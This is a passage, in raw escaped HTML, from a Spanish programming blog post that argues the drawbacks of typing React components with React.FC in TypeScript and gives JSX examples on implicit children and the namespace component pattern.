12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Componente&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;{children}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además de permitirnos trabajar con children, &lt;em&gt;React.FC&lt;/em&gt; también provoca un error si intentamos devolver &lt;em&gt;undefined&lt;/em&gt; desde nuestro componente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Componente&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// El tipo &amp;#39;() =&amp;gt; undefined&amp;#39; no se puede asignar al tipo &amp;#39;FC&amp;lt;{}&amp;gt;&amp;#39;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;undefined&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; Componente&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como puedes ver, es bastante cómodo usarlo, pero algunas personas no están de acuerdo en su uso.&lt;/p&gt;&#xA;&lt;h2 id=&#34;reactfc-mas-desventajas-que-ventajas&#34;&gt;React.FC ¿más desventajas que ventajas?&lt;/h2&gt;&#xA;&lt;p&gt;¿Dónde está el problema? Pues algunos desarrolladores afirman que &lt;em&gt;React.FC&lt;/em&gt; puede traer más desventajas que ventajas, incluso hay una discusión en github (enlace al final), en la que se debate si es conveniente remover uno de los ejemplos en la documentación que lo usa.&lt;/p&gt;&#xA;&lt;p&gt;El usuario que inició esta discusión considera que &lt;strong&gt;el hecho de que &lt;em&gt;React.FC&lt;/em&gt; sea tan popular es debido a que su presencia en la documentación lo posiciona como la manera predeterminada de manejar los componentes de React con Typescript.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Te explico a continuación algunas de las razones que se exponen para afirmar que React.FC aporta más desventajas que ventajas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;reactfc-no-nos-avisa-de-children-sin-usar&#34;&gt;React.FC no nos avisa de children sin usar&lt;/h3&gt;&#xA;&lt;p&gt;&lt;em&gt;React.FC&lt;/em&gt; no siempre es la manera más explícita de indicarle a typescript que un componente recibe &lt;em&gt;children&lt;/em&gt; como parte de sus props.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate que le pasamos un children al componente, pero no lo usamos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Componente from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./Componente&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; App() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;Componente&lt;/span&gt;&amp;gt;Soy el children&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;Componente&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; App;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nuestro componente sí que recibe el &lt;em&gt;children&lt;/em&gt; como un prop, pero el type &lt;em&gt;React.FC&lt;/em&gt; apacigua a Typescript y evita que este nos devuelva algún error, incluso aunque no lo estemos usando.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Componente&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;No soy el children que recibe Componente&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; Componente&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;O, para un caso contrario; imagína que no deseamos que nuestro componente reciba un children como uno de sus props, sin embargo, como estamos usando &lt;em&gt;React.FC&lt;/em&gt; no obtendremos ningún error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Componente from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./Componente&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; App() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Componente&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&amp;lt;&lt;/span&gt;div&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;Yo no debería de estar aquí&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;/div&amp;gt;&amp;lt;/Componente&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; App;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;el-patron-de-subcomponentes-en-react-se-complica&#34;&gt;El patrón de subcomponentes en React se complica&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es el recurso que leí para aprender algoritmos, y por lo tanto puedo recomendar. Es mucho más entendible que SICP y te enseña todo lo que necesitas saber sobre el tema, desde la complejidad hasta aproximaciones heurísticas. Consulta el resto de libros que leo y recomiendo en mi perfil.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del manual de diseño de algoritmos\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gUpFoa\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del manual de diseño de algoritmos y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender todo sobre algoritmos?\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://medium.com/@kunukn_95852/react-components-with-namespace-f3d169feaf91&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;patrón componente como namespace&lt;/a&gt;&#xA; es bastante sencillo de crear sin usar React.FC, pero con React.FC puede complicarse bastante.&lt;/p&gt;&#xA;&lt;p&gt;¿No sabes que es? Piensa en un patrón que te permite agrupar componentes dentro de un cierto padre, que funciona como un namespace para nuestros componentes hijos; similar a como funcionaría el namespace &lt;em&gt;std&lt;/em&gt; de C++.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;Namespace&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;Namespace.Componente&lt;/span&gt; /&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;Namespace&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En su forma más sencilla, omitiendo React.FC se vería algo así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Namespace &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; PropsDelNamespace) =&amp;gt; {&lt;span style=&#34;color:#78787e&#34;&gt;/* ... */&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Namespace.Componente &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; PropsDelComponente) =&amp;gt; { &lt;span style=&#34;color:#78787e&#34;&gt;/*...*/&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pero si optamos por usar React.FC el código se complicaría y la legibilidad disminuiría un poco.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt;  Namespace&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;PropsDelNamespace&lt;/span&gt;&amp;gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt; { Componente&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;PropsDelComponente&lt;/span&gt;&amp;gt; } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props) =&amp;gt; {&lt;span style=&#34;color:#78787e&#34;&gt;/* ... */&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Namespace.Componente &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (props) =&amp;gt; { &lt;span style=&#34;color:#78787e&#34;&gt;/*...*/&lt;/span&gt; }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-deberiamos-usar-en-lugar-de-reactfc&#34;&gt;¿Qué deberíamos usar en lugar de React.FC?&lt;/h2&gt;&#xA;&lt;p&gt;El núcleo de las críticas se basta en que &lt;strong&gt;React.FC añade el children de manera implícita, yendo contra la naturaleza explícita de typescript&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Como usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; 